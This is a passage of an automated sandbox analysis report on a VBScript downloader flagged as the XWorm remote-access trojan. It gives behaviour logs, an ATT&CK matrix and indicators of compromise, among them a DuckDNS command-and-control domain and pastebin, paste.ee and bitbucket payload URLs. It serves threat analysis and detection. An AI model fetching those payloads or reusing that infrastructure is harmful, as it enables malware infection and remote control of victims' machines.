Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: RegAsm.exe, 00000007.00000002.3345509657.000000000166B000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct

Stealing of Sensitive Information

Yara detected XWorm

Source: Yara match	File source: 16.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.287005f0550.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.powershell.exe.272d6990dc0.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.287005ed138.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.287005f0550.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.powershell.exe.272d6990dc0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.powershell.exe.272d698d9a8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.2176643102.00000287005E6000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.2381808798.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2403141075.00000272D6986000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3349422989.0000000003081000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6400, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 6128, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7096, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7308, type: MEMORYSTR

Remote Access Functionality

Yara detected XWorm

Source: Yara match	File source: 16.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.287005f0550.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.powershell.exe.272d6990dc0.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.287005ed138.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.287005f0550.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.powershell.exe.272d6990dc0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.powershell.exe.272d698d9a8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.2176643102.00000287005E6000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.2381808798.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2403141075.00000272D6986000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3349422989.0000000003081000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6400, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 6128, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7096, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7308, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	221 Scripting	Valid Accounts	11 Windows Management Instrumentation	221 Scripting	1 DLL Side-Loading	1 Disable or Modify Tools	OS Credential Dumping	2 File and Directory Discovery	Remote Services	11 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	211 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	13 System Information Discovery	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	2 Registry Run Keys / Startup Folder	2 Registry Run Keys / Startup Folder	31 Obfuscated Files or Information	Security Account Manager	121 Security Software Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	11 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 Command and Scripting Interpreter	Login Hook	Login Hook	3 Software Packing	NTDS	1 Process Discovery	Distributed Component Object Model	Input Capture	1 Non-Standard Port	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	2 PowerShell	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	131 Virtualization/Sandbox Evasion	SSH	Keylogging	2 Non-Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	23 Application Layer Protocol	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	131 Virtualization/Sandbox Evasion	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	211 Process Injection	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
sostener.vbs	16%	ReversingLabs	Win32.Trojan.Honolulu
sostener.vbs	100%	Avira	VBS/Dldr.Agent.VPWC

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\sostener.vbs	100%	Avira	VBS/Dldr.Agent.VPWC

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
s3-w.us-east-1.amazonaws.com	0%	Virustotal	Browse
bitbucket.org	0%	Virustotal	Browse
paste.ee	1%	Virustotal	Browse
pastebin.com	0%	Virustotal	Browse
bbuseruploads.s3.amazonaws.com	3%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
https://oneget.orgX	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
https://go.micro	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://aka.ms/pscore68	0%	URL Reputation	safe
https://oneget.org	0%	URL Reputation	safe
https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/	0%	Virustotal		Browse
https://pastebin.com/raw	1%	Virustotal		Browse
https://pastebin.com/raw/sFgsbG3v	4%	Virustotal		Browse
https://www.google.com	0%	Virustotal		Browse
https://aui-cdn.atlassian.com/	0%	Virustotal		Browse
https://paste.ee	1%	Virustotal		Browse
https://analytics.paste.ee	1%	Virustotal		Browse
https://cdnjs.cloudflare.com	0%	Virustotal		Browse
https://bitbucket.org	0%	Virustotal		Browse
https://remote-app-switcher.prod-east.frontend.public.atl-paas.net	0%	Virustotal		Browse
http://www.apache.org/licenses/LICENSE-2.0	0%	Virustotal		Browse
http://bbuseruploads.s3.amazonaws.com	3%	Virustotal		Browse
https://bbuseruploads.s3.amazonaws.com	1%	Virustotal		Browse
http://s3-w.us-east-1.amazonaws.com	0%	Virustotal		Browse
https://web-security-reports.services.atlassian.com/csp-report/bb-website	0%	Virustotal		Browse
https://dz8aopenkvv6s.cloudfront.net	0%	Virustotal		Browse
https://secure.gravatar.com	0%	Virustotal		Browse
http://bitbucket.org	0%	Virustotal		Browse
http://paste.ee	1%	Virustotal		Browse
http://pastebin.com/raw/v9y5q5vv	2%	Virustotal		Browse
https://cdn.cookielaw.org/	0%	Virustotal		Browse
https://github.com/Pester/Pester	1%	Virustotal		Browse
http://www.apache.org/licenses/LICENSE-2.0.html	0%	Virustotal		Browse
https://bbc-object-storage--frontbucket.us-east-1.staging.public.atl-paas.net/;	0%	Virustotal		Browse
https://remote-app-switcher.stg-east.frontend.public.atl-paas.net	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
s3-w.us-east-1.amazonaws.com	52.216.144.11	true	false	0%, Virustotal, Browse	unknown
bitbucket.org	185.166.143.50	true	false	0%, Virustotal, Browse	unknown
toskaadmx.duckdns.org	46.246.14.3	true	true		unknown
paste.ee	188.114.96.3	true	true	1%, Virustotal, Browse	unknown
pastebin.com	104.20.4.235	true	true	0%, Virustotal, Browse	unknown
bbuseruploads.s3.amazonaws.com	unknown	unknown	true	3%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://pastebin.com/raw/sFgsbG3v	false	4%, Virustotal, Browse	unknown
https://pastebin.com/raw/cD7bJS7b	false		unknown
https://paste.ee/d/lHbHo/0	true		unknown
toskaadmx.duckdns.org	true		unknown
https://bitbucket.org/89999999999999/acaaaaaaaaa/downloads/dsadsdsadsadsa.txt	false		unknown
http://pastebin.com/raw/V9y5Q5vv	true		unknown
https://pastebin.com/raw/V9y5Q5vv	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://pastebin.com/raw	powershell.exe, 00000004.00000002.2176643102.0000028701721000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D7AD5000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse	unknown
https://contoso.com/License	powershell.exe, 0000000F.00000002.2352027899.0000027C0E40D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/	powershell.exe, 0000000E.00000002.2403141075.00000272D6782000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://analytics.paste.ee	powershell.exe, 00000004.00000002.2176643102.00000287003CA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2176643102.00000287005BC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D695C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D676A000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse	unknown
https://bbuseruploads.s3.amazonaws.com/5c1faa65-8df1-44b3-9eef-4905cfb21066/downloads/153f1b3b-a7e8-	powershell.exe, 00000004.00000002.2176643102.0000028700443000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2176643102.0000028701721000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D7AD5000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://paste.ee	powershell.exe, 00000004.00000002.2176643102.00000287005BC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D695C000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse	unknown
HTTPS://PASTEBIN.COM/RAW/CD7BJS7B	powershell.exe, 00000004.00000002.2176643102.000002870058A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D692B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://crl.microsofto	powershell.exe, 0000000E.00000002.2401200406.00000272D4974000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.google.com	powershell.exe, 00000004.00000002.2176643102.00000287003CA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2176643102.00000287005BC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D695C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D676A000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://remote-app-switcher.prod-east.frontend.public.atl-paas.net	powershell.exe, 00000004.00000002.2176643102.000002870168C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2176643102.0000028701664000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2176643102.00000287003E2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2176643102.0000028701721000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D7AD5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D7A17000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D7A3F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D6782000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://contoso.com/	powershell.exe, 0000000F.00000002.2352027899.0000027C0E40D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000004.00000002.2176643102.0000028701A14000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2254576347.000002871007F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2150319912.000002C0E23D5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2150319912.000002C0E229F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2133813473.000002C0D3ADD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D7D48000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2578721401.00000272E6413000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2507053683.0000027C1CBAE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2507053683.0000027C1CCE4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2352027899.0000027C0E40D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://oneget.orgX	powershell.exe, 00000005.00000002.2133813473.000002C0D384B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2352027899.0000027C0E2E5000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://aui-cdn.atlassian.com/	powershell.exe, 00000004.00000002.2176643102.000002870168C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2176643102.0000028701664000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2176643102.00000287003E2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2176643102.0000028701721000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D7AD5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D7A17000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D7A3F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D6782000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://cdnjs.cloudflare.com	powershell.exe, 00000004.00000002.2176643102.00000287003CA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2176643102.00000287005BC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D695C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.2403141075.00000272D676A000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
